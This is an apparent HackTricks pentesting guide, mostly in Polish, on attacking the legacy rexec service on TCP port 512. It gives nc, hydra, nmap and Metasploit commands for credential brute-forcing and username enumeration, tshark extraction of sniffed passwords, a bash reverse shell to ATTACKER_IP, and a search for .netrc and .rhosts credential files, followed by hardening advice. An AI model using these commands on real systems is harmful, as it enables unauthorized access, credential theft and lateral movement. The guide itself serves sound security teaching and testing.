512 - Pentesting Rexec
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Basic Information
Rexec (zdalne exec) jest jednym z oryginalnych r-services z Berkeley (wraz z rlogin, rsh, …). Zapewnia możliwość zdalnego wykonywania poleceń uwierzytelnianą wyłącznie przy użyciu nazwy użytkownika i hasła w postaci tekstu jawnego. Protokół został zdefiniowany na początku lat 80. (zob. RFC 1060) i obecnie uważany jest za niebezpieczny z założenia. Mimo to nadal bywa domyślnie włączony w niektórych starszych systemach UNIX i urządzeniach podłączonych do sieci oraz czasami pojawia się podczas wewnętrznych pentests.
Port domyślny: TCP 512 (exec)
PORT STATE SERVICE
512/tcp open exec
🔥 Cały ruch – łącznie z credentials – jest przesyłany niezaszyfrowany. Każdy, kto potrafi sniffować sieć, może odzyskać username, password i command.
Szybki przegląd protokołu
- Klient łączy się na TCP 512.
- Klient wysyła trzy NUL-terminated łańcuchy:
- numer portu (jako ASCII), na którym chce otrzymywać stdout/stderr (często
0), - username,
- password.
- Wysyłany jest finalny NUL-terminated łańcuch zawierający command do wykonania.
- Serwer odpowiada pojedynczym bajtem statusu 8-bitowym (0 = success,
1= failure), po którym następuje output komendy.
Jeżeli pierwsze pole jest non-zero, serwer otwiera drugie połączenie TCP z powrotem do klienta i używa go dla stderr. Jest to przydatne zarówno do manual testing, jak i do fingerprinting filtering / firewall issues związanych z usługą.
To oznacza, że możesz odtworzyć wymianę używając nic więcej niż echo -e i nc:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
Jeśli credentials są poprawne, otrzymasz wynik id bezpośrednio na tym samym połączeniu.
Jeśli chcesz odbierać stderr na dedykowanym listenerze, poproś server, aby połączył się z powrotem do Ciebie:
nc -lvnp 4444
printf '4444\0user\0password\0id; uname -a\0' | nc <target> 512
Wiele popularnych implementacji (na przykład GNU rexecd) nadal wymusza 16-byte username/password fields i zwraca different diagnostic strings dla nieprawidłowych nazw użytkowników vs nieprawidłowych haseł. To ma znaczenie podczas enumeration, ponieważ niektóre cele powodują leak informacji o tym, czy konto istnieje, zanim rozpoczniesz brute forcing.
Ręczne użycie klienta
Wiele dystrybucji Linuksa nadal dostarcza przestarzałego klienta w pakiecie inetutils-rexec / rsh-client:
rexec -l user -p password <target> "uname -a"
Jeśli -p zostanie pominięte, klient poprosi interaktywnie o hasło (widoczne na łączu w postaci jawnego tekstu!).
Aby uniknąć pozostawiania hasła w historii powłoki / liście procesów, GNU rexec obsługuje także odczyt z stdin:
printf '%s\n' 'password' | rexec -l user -p - <target> "id"
To nie jest bezpieczniejsze w sieci; zmniejsza tylko lokalną ekspozycję na hoście atakującym.
Enumeration & Brute-forcing
Brute-force
Nmap
nmap -sV -p 512 <target>
# Confirm the classic exec service before credential attacks
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
rexec-brute NSE używa opisanego powyżej protokołu do bardzo szybkiego sprawdzania poświadczeń .
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra ma dedykowany moduł rexec i pozostaje najszybszym offline bruteforcerem. medusa (-M REXEC) i ncrack (rexec moduł) mogą być użyte w ten sam sposób.
Username enumeration through server messages
Niektóre implementacje rexecd zwracają odrębne komunikaty błędów, takie jak Login incorrect. vs Password incorrect.. Jeśli zauważysz takie zachowanie, najpierw zweryfikuj nazwy użytkowników, a dopiero potem brute force passwords:
printf '0\0root\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
printf '0\0definitelynotreal\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
Jeśli komunikaty się różnią, zbuduj listę prawidłowych użytkowników przed przeprowadzeniem dużego password spray.
Sprawdź pokrewne r-usługi
rexec sam korzysta z uwierzytelniania hasłem, w przeciwieństwie do logiki zaufanych hostów rsh / rlogin, ale w praktyce często pochodzą z tego samego przestarzałego pakietu (openbsd-inetd, inetutils, vendor UNIX bundles). Jeśli TCP 512 jest otwarty, natychmiast sprawdź też TCP 513 i 514, ponieważ nadużycie .rhosts / /etc/hosts.equiv może umożliwić łatwiejsze lateral movement:
nmap -sV -p 512,513,514 <target>
Zobacz także:
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
Moduł uruchomi shell po powodzeniu i zapisze credentials w database .
Sniffing credentials
Ponieważ wszystko jest clear-text, network captures are priceless. Mając kopię ruchu możesz wyodrębnić creds bez dotykania celu:
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark włącz Decode As … TCP 512 → REXEC, aby zobaczyć ładnie sparsowane pola.)
Post-Exploitation tips
- Polecenia są uruchamiane z uprawnieniami podanego użytkownika. Jeśli
/etc/pam.d/rexecjest źle skonfigurowany (np.pam_rootok), czasami możliwe są shelle z uprawnieniami root. - Rexec ignoruje powłokę użytkownika i wykonuje polecenie przez
/bin/sh -c <cmd>. Możesz więc użyć typowych trików ucieczki powłoki (;,$( ), backticks) do łączenia wielu poleceń lub uruchamiania reverse shells:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- Hasła często są przechowywane w
~/.netrclub w przestarzałych skryptach automatyzacji na innych systemach; jeśli przejmiesz jeden host, możesz je ponownie wykorzystać do lateral movement:
find / -xdev \( -name .netrc -o -name netrc -o -iname '*rexec*' -o -path '*/.rhosts' \) 2>/dev/null
Hardening / Detection
- Do not expose rexec; zastąp go SSH. Praktycznie wszystkie nowoczesne inetd superservery domyślnie komentują tę usługę.
- Jeśli musisz go zachować, ogranicz dostęp za pomocą TCP wrappers (
/etc/hosts.allow) lub reguł firewall i wymuszaj silne hasła dla każdego konta. - Monitoruj ruch do :512 oraz uruchomienia procesu
rexecd. Jeden zapis pakietów wystarczy, by wykryć kompromitację. - Wyłącz
rexec,rlogin,rshrazem – dzielą większość tej samej bazy kodu i słabości.
References
- GNU Inetutils
rexecd/rexecdocumentation – https://www.gnu.org/software/inetutils/manual/html_node/rexecd-invocation.html - Nmap NSE
rexec-brutedocumentation – https://nmap.org/nsedoc/scripts/rexec-brute.html
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


